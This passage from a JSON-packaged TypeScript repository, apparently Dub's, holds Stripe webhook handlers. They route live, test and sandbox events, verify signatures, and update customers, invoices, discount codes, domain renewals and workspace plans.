`Sale recorded for customer ID ${customer.id} and invoice ID ${invoiceId}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/promotion-code-updated.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport type Stripe from \"stripe\";\n\n// Handle event \"promotion_code.updated\"\nexport async function promotionCodeUpdated(event: Stripe.Event) {\n  const promotionCode = event.data.object as Stripe.PromotionCode;\n  const stripeAccountId = event.account as string;\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeConnectId: stripeAccountId,\n    },\n    select: {\n      id: true,\n      slug: true,\n      defaultProgramId: true,\n      stripeConnectId: true,\n    },\n  });\n\n  if (!workspace) {\n    return `Workspace not found for Stripe account ${stripeAccountId}.`;\n  }\n\n  if (!workspace.defaultProgramId) {\n    return `Workspace ${workspace.id} for stripe account ${stripeAccountId} has no programs.`;\n  }\n\n  if (promotionCode.active) {\n    return `Promotion code ${promotionCode.id} is active.`;\n  }\n\n  // If the promotion code is not active, we need to remove them from Dub\n  const discountCode = await prisma.discountCode.findUnique({\n    where: {\n      programId_code: {\n        programId: workspace.defaultProgramId,\n        code: promotionCode.code,\n      },\n    },\n  });\n\n  if (!discountCode) {\n    return `Discount code not found for Stripe promotion code ${promotionCode.id}.`;\n  }\n\n  await prisma.discountCode.delete({\n    where: {\n      id: discountCode.id,\n    },\n  });\n\n  return `Discount code ${discountCode.id} deleted from the program ${workspace.defaultProgramId}.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/route.ts",
    "content": "import { withAxiom } from \"@/lib/axiom/server\";\nimport { stripe } from \"@/lib/stripe\";\nimport { StripeMode } from \"@/lib/types\";\nimport { logAndRespond } from \"app/(ee)/api/cron/utils\";\nimport Stripe from \"stripe\";\nimport { accountApplicationDeauthorized } from \"./account-application-deauthorized\";\nimport { chargeRefunded } from \"./charge-refunded\";\nimport { checkoutSessionCompleted } from \"./checkout-session-completed\";\nimport { couponDeleted } from \"./coupon-deleted\";\nimport { customerCreated } from \"./customer-created\";\nimport { customerSubscriptionCreated } from \"./customer-subscription-created\";\nimport { customerSubscriptionDeleted } from \"./customer-subscription-deleted\";\nimport { customerUpdated } from \"./customer-updated\";\nimport { invoicePaid } from \"./invoice-paid\";\nimport { promotionCodeUpdated } from \"./promotion-code-updated\";\n\nconst relevantEvents = new Set([\n  \"account.application.deauthorized\",\n  \"charge.refunded\",\n  \"checkout.session.completed\",\n  \"coupon.deleted\",\n  \"customer.created\",\n  \"customer.updated\",\n  \"customer.subscription.created\",\n  \"customer.subscription.deleted\",\n  \"invoice.paid\",\n  \"promotion_code.updated\",\n]);\n\n// POST /api/stripe/integration/webhook – listen to Stripe webhooks (for Stripe Integration)\nexport const POST = withAxiom(async (req: Request) => {\n  const pathname = new URL(req.url).pathname;\n  const buf = await req.text();\n  const sig = req.headers.get(\"Stripe-Signature\");\n\n  // @see https://github.com/dubinc/dub/blob/main/apps/web/app/(ee)/api/stripe/integration/webhook/test/route.ts\n  let webhookSecret: string | undefined;\n  let mode: StripeMode;\n\n  if (pathname.endsWith(\"/test\")) {\n    webhookSecret = process.env.STRIPE_APP_WEBHOOK_SECRET_TEST;\n    mode = \"test\";\n  } else if (pathname.endsWith(\"/sandbox\")) {\n    webhookSecret = process.env.STRIPE_APP_WEBHOOK_SECRET_SANDBOX;\n    mode = \"sandbox\";\n  } else {\n    webhookSecret = process.env.STRIPE_APP_WEBHOOK_SECRET;\n    mode = \"live\";\n  }\n\n  if (!sig || !webhookSecret) {\n    return new Response(\"Invalid request\", {\n      status: 400,\n    });\n  }\n\n  let event: Stripe.Event;\n  try {\n    event = stripe.webhooks.constructEvent(buf, sig, webhookSecret);\n  } catch (err: any) {\n    console.log(`❌ Error message: ${err.message}`);\n    return new Response(`Webhook Error: ${err.message}`, {\n      status: 400,\n    });\n  }\n\n  // Ignore unsupported events\n  if (!relevantEvents.has(event.type)) {\n    return new Response(\"Unsupported event, skipping...\", {\n      status: 200,\n    });\n  }\n\n  // When an app is installed in both live & test mode,\n  // test mode events are sent to both the test mode and live mode endpoints,\n  // and live mode events are sent to the live mode endpoint.\n  // See: https://docs.stripe.com/stripe-apps/build-backend#event-behavior-depends-on-install-mode\n  if (!event.livemode && mode === \"live\") {\n    return logAndRespond(\n      `Received a test webhook event (${event.type}) on our live webhook receiver endpoint, skipping...`,\n    );\n  }\n\n  let response = \"OK\";\n\n  switch (event.type) {\n    case \"account.application.deauthorized\":\n      response = await accountApplicationDeauthorized(event, mode);\n      break;\n    case \"charge.refunded\":\n      response = await chargeRefunded(event, mode);\n      break;\n    case \"checkout.session.completed\":\n      response = await checkoutSessionCompleted(event, mode);\n      break;\n    case \"coupon.deleted\":\n      response = await couponDeleted(event);\n      break;\n    case \"customer.created\":\n      response = await customerCreated(event);\n      break;\n    case \"customer.updated\":\n      response = await customerUpdated(event);\n      break;\n    case \"customer.subscription.created\":\n      response = await customerSubscriptionCreated(event, mode);\n      break;\n    case \"customer.subscription.deleted\":\n      response = await customerSubscriptionDeleted(event);\n      break;\n    case \"invoice.paid\":\n      response = await invoicePaid(event, mode);\n      break;\n    case \"promotion_code.updated\":\n      response = await promotionCodeUpdated(event);\n      break;\n  }\n\n  return logAndRespond(`[${event.type}]: ${response}`);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/sandbox/route.ts",
    "content": "/*\n    POST /api/stripe/integration/webhook/sandbox – listen to Stripe test mode connect webhooks (for Stripe Integration)\n\n    We need a separate route for test webhooks because of how Stripe webhooks behave:\n    - Live mode only: When a connected account is connected only in live mode to your platform, \n        the live Events and test Events are sent to your live Connect webhook endpoint.\n    - Test mode only: When a connected account is connected only in test mode to your platform, \n        the test Events are sent to your test Connect webhook endpoint. Live Events are never sent.\n    - Live mode and test mode: When a connected account is connected in live and in test mode to your platform, \n        the live Events are sent to your live Connect webhook endpoint \n        and the test Events are sent to both the live and the test Connect webhook endpoints.\n\n    @see https://support.stripe.com/questions/connect-account-webhook-configurations\n*/\n\nexport { POST } from \"../route\";\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/test/route.ts",
    "content": "/*\n    POST /api/stripe/integration/webhook/test – listen to Stripe test mode connect webhooks (for Stripe Integration)\n\n    We need a separate route for test webhooks because of how Stripe webhooks behave:\n    - Live mode only: When a connected account is connected only in live mode to your platform, \n        the live Events and test Events are sent to your live Connect webhook endpoint.\n    - Test mode only: When a connected account is connected only in test mode to your platform, \n        the test Events are sent to your test Connect webhook endpoint. Live Events are never sent.\n    - Live mode and test mode: When a connected account is connected in live and in test mode to your platform, \n        the live Events are sent to your live Connect webhook endpoint \n        and the test Events are sent to both the live and the test Connect webhook endpoints.\n\n    @see https://support.stripe.com/questions/connect-account-webhook-configurations\n*/\n\nexport { POST } from \"../route\";\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/utils/create-new-customer.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { syncPartnerLinksStats } from \"@/lib/api/partners/sync-partner-links-stats\";\nimport { executeWorkflows } from \"@/lib/api/workflows/execute-workflows\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { sendPartnerPostback } from \"@/lib/postback/api/send-partner-postback\";\nimport { getClickEvent, recordLead } from \"@/lib/tinybird\";\nimport { redis } from \"@/lib/upstash\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { transformLeadEventData } from \"@/lib/webhook/transform\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport type Stripe from \"stripe\";\n\nexport async function createNewCustomer(event: Stripe.Event) {\n  const stripeCustomer = event.data.object as Stripe.Customer;\n  const stripeAccountId = event.account as string;\n  const dubCustomerExternalId =\n    stripeCustomer.metadata?.dubCustomerExternalId ||\n    stripeCustomer.metadata?.dubCustomerId;\n  const clickId = stripeCustomer.metadata?.dubClickId;\n\n  // The client app should always send dubClickId (dub_id) via metadata\n  if (!clickId) {\n    return \"Click ID not found in Stripe customer metadata, skipping...\";\n  }\n\n  // Find click\n  const clickData = await getClickEvent({ clickId });\n  if (!clickData) {\n    return `Click event with ID ${clickId} not found, skipping...`;\n  }\n\n  // Find link\n  const linkId = clickData.link_id;\n  const link = await prisma.link.findUnique({\n    where: {\n      id: linkId,\n    },\n  });\n\n  if (!link || !link.projectId) {\n    return `Link with ID ${linkId} not found or does not have a project, skipping...`;\n  }\n\n  // Create a customer\n  const customer = await prisma.customer.create({\n    data: {\n      id: createId({ prefix: \"cus_\" }),\n      name: stripeCustomer.name || generateRandomName(),\n      email: stripeCustomer.email,\n      stripeCustomerId: stripeCustomer.id,\n      projectConnectId: stripeAccountId,\n      externalId: dubCustomerExternalId,\n      projectId: link.projectId,\n      programId: link.programId,\n      partnerId: link.partnerId,\n      linkId,\n      clickId,\n      clickedAt: new Date(clickData.timestamp + \"Z\"),\n      country: clickData.country,\n    },\n  });\n\n  const eventName = \"New customer\";\n\n  const leadData = {\n    ...clickData,\n    workspace_id: clickData.workspace_id || customer.projectId, // in case for some reason the click event doesn't have workspace_id\n    event_id: nanoid(16),\n    event_name: eventName,\n    customer_id: customer.id,\n  };\n\n  const [_lead, _leadCached, linkUpdated, workspace] = await Promise.all([\n    // record lead event in Tinybird\n    recordLead(leadData),\n\n    // cache lead event in Redis because the ingested event is not available immediately on Tinybird\n    redis.set(`leadCache:${customer.id}`, leadData, {\n      ex: 60 * 5,\n    }),\n\n    // update link leads count + lastLeadAt date\n    prisma.link.update({\n      where: {\n        id: linkId,\n      },\n      data: {\n        leads: {\n          increment: 1,\n        },\n        lastLeadAt: new Date(),\n      },\n      include: includeTags,\n    }),\n\n    // update workspace usage\n    prisma.project.update({\n      where: {\n        id: customer.projectId,\n      },\n      data: {\n        usage: {\n          increment: 1,\n        },\n      },\n    }),\n  ]);\n\n  if (link.programId && link.partnerId) {\n    waitUntil(\n      Promise.allSettled([\n        executeWorkflows({\n          trigger: \"partnerMetricsUpdated\",\n          reason: \"lead\",\n          identity: {\n            workspaceId: workspace.id,\n            programId: link.programId,\n            partnerId: link.partnerId,\n          },\n          metrics: {\n            current: {\n              leads: 1,\n            },\n          },\n        }),\n\n        syncPartnerLinksStats({\n          partnerId: link.partnerId,\n          programId: link.programId,\n          eventType: \"lead\",\n        }),\n      ]),\n    );\n  }\n\n  // send workspace webhook\n  waitUntil(\n    Promise.allSettled([\n      sendWorkspaceWebhook({\n        trigger: \"lead.created\",\n        workspace,\n        data: transformLeadEventData({\n          ...clickData,\n          eventName,\n          link: linkUpdated,\n          customer,\n          metadata: null,\n        }),\n      }),\n\n      ...(link.partnerId\n        ? [\n            sendPartnerPostback({\n              partnerId: link.partnerId,\n              event: \"lead.created\",\n              data: {\n                ...clickData,\n                eventName,\n                link: linkUpdated,\n                customer,\n              },\n            }),\n          ]\n        : []),\n    ]),\n  );\n\n  return `New Dub customer created: ${customer.id}. Lead event recorded: ${leadData.event_id}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/utils/get-connected-customer.ts",
    "content": "import { stripeAppClient } from \"@/lib/stripe\";\nimport { StripeMode } from \"@/lib/types\";\n\nexport async function getConnectedCustomer({\n  stripeCustomerId,\n  stripeAccountId,\n  mode,\n}: {\n  stripeCustomerId?: string | null;\n  stripeAccountId?: string | null;\n  mode: StripeMode;\n}) {\n  // if stripeCustomerId or stripeAccountId is not provided, return null\n  if (!stripeCustomerId || !stripeAccountId) {\n    return null;\n  }\n\n  const connectedCustomer = await stripeAppClient({\n    mode,\n  }).customers.retrieve(stripeCustomerId, {\n    stripeAccount: stripeAccountId,\n  });\n\n  if (connectedCustomer.deleted) {\n    return null;\n  }\n\n  return connectedCustomer;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/utils/get-promotion-code.ts",
    "content": "import { stripeAppClient } from \"@/lib/stripe\";\nimport { StripeMode } from \"@/lib/types\";\n\nexport async function getPromotionCode({\n  promotionCodeId,\n  stripeAccountId,\n  mode,\n}: {\n  promotionCodeId?: string | null;\n  stripeAccountId?: string | null;\n  mode: StripeMode;\n}) {\n  if (!stripeAccountId || !promotionCodeId) {\n    return null;\n  }\n\n  try {\n    return await stripeAppClient({ mode }).promotionCodes.retrieve(\n      promotionCodeId,\n      {\n        stripeAccount: stripeAccountId,\n      },\n    );\n  } catch (error) {\n    console.log(\"Failed to get promotion code:\", error);\n    return null;\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/utils/get-subscription-product-id.ts",
    "content": "import { stripeAppClient } from \"@/lib/stripe\";\nimport { StripeMode } from \"@/lib/types\";\n\nexport async function getSubscriptionProductId({\n  stripeSubscriptionId,\n  stripeAccountId,\n  mode,\n}: {\n  stripeSubscriptionId?: string | null;\n  stripeAccountId?: string | null;\n  mode: StripeMode;\n}) {\n  if (!stripeAccountId || !stripeSubscriptionId) {\n    return null;\n  }\n\n  try {\n    const subscription = await stripeAppClient({\n      mode,\n    }).subscriptions.retrieve(stripeSubscriptionId, {\n      stripeAccount: stripeAccountId,\n    });\n\n    return subscription.items.data[0].price.product as string;\n  } catch (error) {\n    console.log(\"Failed to get subscription price ID:\", error);\n    return null;\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/utils/update-customer-with-stripe-customer-id.ts",
    "content": "import { prisma } from \"@dub/prisma\";\n\nexport async function updateCustomerWithStripeCustomerId({\n  stripeAccountId,\n  dubCustomerExternalId,\n  stripeCustomerId,\n}: {\n  stripeAccountId?: string | null;\n  dubCustomerExternalId: string;\n  stripeCustomerId?: string | null;\n}) {\n  // if stripeCustomerId or stripeAccountId is not provided, return null\n  // (same logic as in getConnectedCustomer)\n  if (!stripeCustomerId || !stripeAccountId) {\n    return null;\n  }\n\n  try {\n    // Update customer with stripeCustomerId if exists – for future events\n    return await prisma.customer.update({\n      where: {\n        projectConnectId_externalId: {\n          projectConnectId: stripeAccountId,\n          externalId: dubCustomerExternalId,\n        },\n      },\n      data: {\n        stripeCustomerId,\n      },\n    });\n  } catch (error) {\n    // Skip if customer not found (not an error, just a case where the customer doesn't exist on Dub yet)\n    console.log(\"Failed to update customer with StripeCustomerId:\", error);\n    return null;\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/charge-failed.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport Stripe from \"stripe\";\nimport { processDomainRenewalFailure } from \"./utils/process-domain-renewal-failure\";\nimport { processPayoutInvoiceFailure } from \"./utils/process-payout-invoice-failure\";\n\nexport async function chargeFailed(event: Stripe.Event) {\n  const charge = event.data.object as Stripe.Charge;\n\n  const { transfer_group: invoiceId, failure_message: failedReason } = charge;\n\n  if (!invoiceId) {\n    return \"No transfer group found, skipping...\";\n  }\n\n  let invoice = await prisma.invoice.findUnique({\n    where: {\n      id: invoiceId,\n    },\n  });\n\n  if (!invoice) {\n    return `Invoice with transfer group ${invoiceId} not found.`;\n  }\n\n  invoice = await prisma.invoice.update({\n    where: {\n      id: invoiceId,\n    },\n    data: {\n      status: \"failed\",\n      failedReason,\n      failedAttempts: {\n        increment: 1,\n      },\n    },\n  });\n\n  if (invoice.type === \"partnerPayout\") {\n    await processPayoutInvoiceFailure({ invoice, charge });\n    return `Processed partner payout failure for invoice ${invoice.id}.`;\n  } else if (invoice.type === \"domainRenewal\") {\n    await processDomainRenewalFailure({ invoice });\n    return `Processed domain renewal failure for invoice ${invoice.id}.`;\n  }\n\n  return `Unsupported invoice type (${invoice.type}), skipping...`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/charge-refunded.ts",
    "content": "import { setRenewOption } from \"@/lib/dynadot/set-renew-option\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice } from \"@dub/prisma/client\";\nimport Stripe from \"stripe\";\n\nexport async function chargeRefunded(event: Stripe.Event) {\n  const charge = event.data.object as Stripe.Charge;\n\n  const { transfer_group: invoiceId } = charge;\n\n  if (!invoiceId) {\n    return \"No transfer group found, skipping...\";\n  }\n\n  const invoice = await prisma.invoice.findUnique({\n    where: {\n      id: invoiceId,\n    },\n  });\n\n  if (!invoice) {\n    return `Invoice with transfer group ${invoiceId} not found.`;\n  }\n\n  if (invoice.type !== \"domainRenewal\") {\n    return `Invoice ${invoice.id} is not a 'domainRenewal' type, skipping...`;\n  }\n\n  await processDomainRenewalInvoice({ invoice });\n  return `Disabled auto-renew for domains on invoice ${invoice.id}.`;\n}\n\nasync function processDomainRenewalInvoice({ invoice }: { invoice: Invoice }) {\n  const domains = invoice.registeredDomains as string[];\n\n  await Promise.allSettled(\n    domains.map((domain) =>\n      setRenewOption({\n        domain,\n        autoRenew: false,\n      }),\n    ),\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/charge-succeeded.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { setRenewOption } from \"@/lib/dynadot/set-renew-option\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport DomainRenewed from \"@dub/email/templates/domain-renewed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK, pluralize } from \"@dub/utils\";\nimport { addDays } from \"date-fns\";\nimport Stripe from \"stripe\";\n\nexport async function chargeSucceeded(event: Stripe.Event) {\n  const charge = event.data.object as Stripe.Charge;\n\n  const { transfer_group: invoiceId } = charge;\n\n  if (!invoiceId) {\n    // check if the customer's workspace has paymentFailedAt, if so, reset it to null\n    const stripeId = charge.customer as string;\n    if (stripeId) {\n      const workspace = await prisma.project.findUnique({\n        where: {\n          stripeId,\n        },\n      });\n      if (workspace?.paymentFailedAt) {\n        console.log(\"Workspace has paymentFailedAt, resetting it to null...\");\n        await prisma.project.update({\n          where: {\n            id: workspace.id,\n          },\n          data: {\n            paymentFailedAt: null,\n          },\n        });\n      }\n    }\n    return \"No transfer_group (invoiceId) found, skipping invoice update flow...\";\n  }\n\n  let invoice = await prisma.invoice.findUnique({\n    where: {\n      id: invoiceId,\n    },\n  });\n\n  if (!invoice) {\n    return `Invoice with transfer group ${invoiceId} not found.`;\n  }\n\n  if (invoice.status === \"completed\") {\n    return `Invoice ${invoice.id} already completed, skipping...`;\n  }\n\n  invoice = await prisma.invoice.update({\n    where: {\n      id: invoice.id,\n    },\n    data: {\n      receiptUrl: charge.receipt_url,\n      status: \"completed\",\n      paidAt: new Date(),\n      stripeChargeMetadata: JSON.parse(JSON.stringify(charge)),\n    },\n  });\n\n  if (invoice.type === \"partnerPayout\") {\n    return await processPayoutInvoice({ invoice });\n  } else if (invoice.type === \"domainRenewal\") {\n    return await processDomainRenewalInvoice({ invoice });\n  }\n\n  return `Unsupported invoice type (${invoice.type}), skipping...`;\n}\n\nasync function processPayoutInvoice({ invoice }: { invoice: Invoice }) {\n  const payoutsToProcess = await prisma.payout.count({\n    where: {\n      invoiceId: invoice.id,\n      status: {\n        not: \"completed\",\n      },\n    },\n  });\n\n  if (payoutsToProcess === 0) {\n    return `No payouts to process found for invoice ${invoice.id}, skipping...`;\n  }\n\n  const qstashResponse = await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/charge-succeeded`,\n    flowControl: {\n      key: invoice.id,\n      rate: 1,\n    },\n    body: {\n      invoiceId: invoice.id,\n    },\n  });\n\n  if (qstashResponse.messageId) {\n    return `Message sent to Qstash with id ${qstashResponse.messageId}`;\n  } else {\n    return `Error sending message to Qstash: ${JSON.stringify(qstashResponse)}`;\n  }\n}\n\nasync function processDomainRenewalInvoice({ invoice }: { invoice: Invoice }) {\n  const domains = await prisma.registeredDomain.findMany({\n    where: {\n      slug: {\n        in: invoice.registeredDomains as string[],\n      },\n    },\n    orderBy: {\n      expiresAt: \"asc\",\n    },\n  });\n\n  if (domains.length === 0) {\n    return `No domains found for invoice ${invoice.id}, skipping...`;\n  }\n\n  const newExpiresAt = addDays(domains[0].expiresAt, 365);\n\n  await prisma.registeredDomain.updateMany({\n    where: {\n      id: {\n        in: domains.map(({ id }) => id),\n      },\n    },\n    data: {\n      expiresAt: newExpiresAt,\n      autoRenewalDisabledAt: null,\n    },\n  });\n\n  await Promise.allSettled(\n    domains.map((domain) =>\n      setRenewOption({\n        domain: domain.slug,\n        autoRenew: true,\n      }),\n    ),\n  );\n\n  const workspace = await prisma.project.findUniqueOrThrow({\n    where: {\n      id: invoice.workspaceId,\n    },\n    include: {\n      users: {\n        where: {\n          role: \"owner\",\n        },\n        select: {\n          user: true,\n        },\n      },\n    },\n  });\n\n  const workspaceOwners = workspace.users.filter(({ user }) => user.email);\n\n  if (workspaceOwners.length === 0) {\n    return \"No users found to send domain renewal success email.\";\n  }\n\n  await sendBatchEmail(\n    workspaceOwners.map(({ user }) => ({\n      variant: \"notifications\",\n      to: user.email!,\n      subject: `Your ${pluralize(\"domain\", domains.length)} have been renewed`,\n      react: DomainRenewed({\n        email: user.email!,\n        workspace: {\n          slug: workspace.slug,\n        },\n        domains: domains.map(({ slug }) => ({ slug })),\n        expiresAt: newExpiresAt,\n      }),\n    })),\n  );\n\n  return `Domain renewal success email sent to ${workspaceOwners.length} users.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/checkout-session-completed.ts",
    "content": "import { createProgram } from \"@/lib/actions/partners/create-program\";\nimport { claimDotLinkDomain } from \"@/lib/api/domains/claim-dot-link-domain\";\nimport { onboardingStepCache } from \"@/lib/api/workspaces/onboarding-step-cache\";\nimport { tokenCache } from \"@/lib/auth/token-cache\";\nimport { stripe } from \"@/lib/stripe\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport UpgradeEmail from \"@dub/email/templates/upgrade-email\";\nimport { prisma } from \"@dub/prisma\";\nimport { Program, User } from \"@dub/prisma/client\";\nimport { getPlanAndTierFromPriceId, log, prettyPrint } from \"@dub/utils\";\nimport Stripe from \"stripe\";\n\nexport async function checkoutSessionCompleted(event: Stripe.Event) {\n  const checkoutSession = event.data.object as Stripe.Checkout.Session;\n\n  if (\n    checkoutSession.mode === \"setup\" ||\n    checkoutSession.payment_status !== \"paid\"\n  ) {\n    return \"Session is setup mode or not paid, skipping...\";\n  }\n\n  if (\n    checkoutSession.client_reference_id === null ||\n    checkoutSession.customer === null\n  ) {\n    await log({\n      message: \"Missing items in Stripe webhook callback\",\n      type: \"errors\",\n    });\n    return \"Missing client_reference_id or customer in checkout session.\";\n  }\n\n  const subscription = await stripe.subscriptions.retrieve(\n    checkoutSession.subscription as string,\n  );\n  const priceId = subscription.items.data[0].price.id;\n\n  const { plan, planTier } = getPlanAndTierFromPriceId({ priceId });\n\n  if (!plan) {\n    return `Invalid price ID in checkout.session.completed event: ${priceId}`;\n  }\n\n  const stripeId = checkoutSession.customer.toString();\n  const workspaceId = checkoutSession.client_reference_id;\n  const planName = plan.name.toLowerCase();\n\n  // when the workspace subscribes to a plan, set their stripe customer ID\n  // in the database for easy identification in future webhook events\n  // also update the billingCycleStart to today's date\n\n  const workspace = await prisma.project.update({\n    where: {\n      id: workspaceId,\n    },\n    data: {\n      stripeId,\n      billingCycleStart: new Date().getDate(),\n      plan: planName,\n      planTier: planTier,\n      usageLimit: plan.limits.clicks,\n      linksLimit: plan.limits.links,\n      payoutsLimit: plan.limits.payouts,\n      domainsLimit: plan.limits.domains,\n      aiLimit: plan.limits.ai,\n      tagsLimit: plan.limits.tags,\n      foldersLimit: plan.limits.folders,\n      groupsLimit: plan.limits.groups,\n      networkInvitesLimit: plan.limits.networkInvites,\n      usersLimit: plan.limits.users,\n      paymentFailedAt: null,\n    },\n    select: {\n      plan: true,\n      defaultProgramId: true,\n      users: {\n        select: {\n          user: {\n            select: {\n              id: true,\n              name: true,\n              email: true,\n            },\n          },\n        },\n        where: {\n          user: {\n            isMachine: false,\n          },\n        },\n      },\n      restrictedTokens: {\n        select: {\n          hashedKey: true,\n        },\n      },\n    },\n  });\n\n  const users = workspace.users.map(({ user }) => ({\n    id: user.id,\n    name: user.name,\n    email: user.email,\n  }));\n\n  await Promise.allSettled([\n    completeOnboarding({ users, workspaceId }),\n    sendBatchEmail(\n      users.map((user) => ({\n        to: user.email as string,\n        replyTo: \"steven.tey@dub.co\",\n        subject: `Thank you for upgrading to Dub ${plan.name}!`,\n        react: UpgradeEmail({\n          name: user.name,\n          email: user.email as string,\n          plan: plan.name,\n          planTier: planTier,\n        }),\n        variant: \"marketing\",\n      })),\n    ),\n    // enable dub.link premium default domain for the workspace\n    prisma.defaultDomains.update({\n      where: {\n        projectId: workspaceId,\n      },\n      data: {\n        dublink: true,\n      },\n    }),\n    // expire tokens cache\n    tokenCache.expireMany({\n      hashedKeys: workspace.restrictedTokens.map(({ hashedKey }) => hashedKey),\n    }),\n  ]);\n\n  return `Checkout completed for workspace ${workspaceId}, upgraded to ${plan.name}.`;\n}\n\nasync function completeOnboarding({\n  users,\n  workspaceId,\n}: {\n  users: Pick<User, \"id\" | \"email\">[];\n  workspaceId: string;\n}) {\n  const workspace = (await prisma.project.findUnique({\n    where: {\n      id: workspaceId,\n    },\n    include: {\n      users: true,\n      programs: true,\n    },\n  })) as unknown as (WorkspaceProps & { programs: Program[] }) | null;\n\n  if (!workspace) {\n    console.error(\"Failed to complete onboarding for workspace\", workspaceId);\n    return;\n  }\n\n  await Promise.allSettled([\n    // Complete onboarding for workspace users\n    onboardingStepCache.mset({\n      userIds: users.map(({ id }) => id),\n      step: \"completed\",\n    }),\n\n    (async () => {\n      // Register saved domain\n      const data = await redis.get<{ domain: string; userId: string }>(\n        `onboarding-domain:${workspaceId}`,\n      );\n      if (data && data.domain && data.userId) {\n        const { domain, userId } = data;\n\n        try {\n          await claimDotLinkDomain({\n            domain,\n            userId,\n            workspace,\n          });\n          await redis.del(`onboarding-domain:${workspaceId}`);\n        } catch (e) {\n          console.error(\n            \"Failed to register saved domain from onboarding\",\n            { domain, userId, workspace },\n            e,\n          );\n        }\n      }\n\n      // Create program\n      if (\n        users.length > 0 &&\n        workspace.programs.length === 0 &&\n        workspace.store?.programOnboarding\n      ) {\n        try {\n          await createProgram({\n            workspace,\n            user: users[0],\n          });\n        } catch (e) {\n          console.error(\n            \"Failed to create program from onboarding\",\n            prettyPrint({ workspace, user: users[0] }),\n            e,\n          );\n        }\n      }\n    })(),\n  ]);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/customer-subscription-deleted.ts",
    "content": "import { deleteWorkspaceFolders } from \"@/lib/api/folders/delete-workspace-folders\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { deactivateProgram } from \"@/lib/api/programs/deactivate-program\";\nimport { tokenCache } from \"@/lib/auth/token-cache\";\nimport { isBlacklistedEmail } from \"@/lib/edge-config/is-blacklisted-email\";\nimport { stripe } from \"@/lib/stripe\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { webhookCache } from \"@/lib/webhook/cache\";\nimport { prisma } from \"@dub/prisma\";\nimport { capitalize, FREE_PLAN, log } from \"@dub/utils\";\nimport Stripe from \"stripe\";\nimport { sendCancellationFeedback } from \"./utils/send-cancellation-feedback\";\nimport { updateWorkspacePlan } from \"./utils/update-workspace-plan\";\n\nexport async function customerSubscriptionDeleted(event: Stripe.Event) {\n  const subscriptionDeleted = event.data.object as Stripe.Subscription;\n\n  const stripeId = subscriptionDeleted.customer.toString();\n\n  // If a workspace deletes their subscription, reset their usage limit in the database to 1000.\n  // Also remove the root domain link for all their domains from MySQL, Redis, and Tinybird\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeId,\n    },\n    select: {\n      id: true,\n      slug: true,\n      plan: true,\n      planTier: true,\n      foldersUsage: true,\n      paymentFailedAt: true,\n      payoutsLimit: true,\n      defaultProgramId: true,\n      links: {\n        where: {\n          key: \"_root\",\n        },\n        include: {\n          ...includeTags,\n          ...includeProgramEnrollment,\n        },\n      },\n      users: {\n        select: {\n          user: {\n            select: {\n              name: true,\n              email: true,\n            },\n          },\n        },\n        where: {\n          role: \"owner\",\n          user: {\n            isMachine: false,\n          },\n        },\n      },\n      restrictedTokens: {\n        select: {\n          hashedKey: true,\n        },\n      },\n    },\n  });\n\n  if (!workspace) {\n    return `Workspace with Stripe ID ${stripeId} not found in customer.subscription.deleted callback.`;\n  }\n\n  // Check if the customer has another active subscription\n  const { data: activeSubscriptions } = await stripe.subscriptions.list({\n    customer: stripeId,\n    status: \"active\",\n  });\n\n  if (activeSubscriptions.length > 0) {\n    const activeSubscription = activeSubscriptions[0];\n    const priceId = activeSubscription.items.data[0].price.id;\n\n    await updateWorkspacePlan({\n      workspace,\n      priceId,\n    });\n\n    return `Workspace ${workspace.slug} has another active subscription; updated plan.`;\n  }\n\n  const workspaceLinks = workspace.links;\n  const workspaceUsers = workspace.users.map(({ user }) => user);\n\n  const isBlacklistedCancellation = await isBlacklistedEmail(\n    workspaceUsers.filter(({ email }) => email).map(({ email }) => email!),\n  );\n\n  await Promise.allSettled([\n    prisma.project.update({\n      where: {\n        stripeId,\n      },\n      data: {\n        plan: \"free\",\n        usageLimit: FREE_PLAN.limits.clicks!,\n        linksLimit: FREE_PLAN.limits.links!,\n        payoutsLimit: FREE_PLAN.limits.payouts!,\n        domainsLimit: FREE_PLAN.limits.domains!,\n        aiLimit: FREE_PLAN.limits.ai!,\n     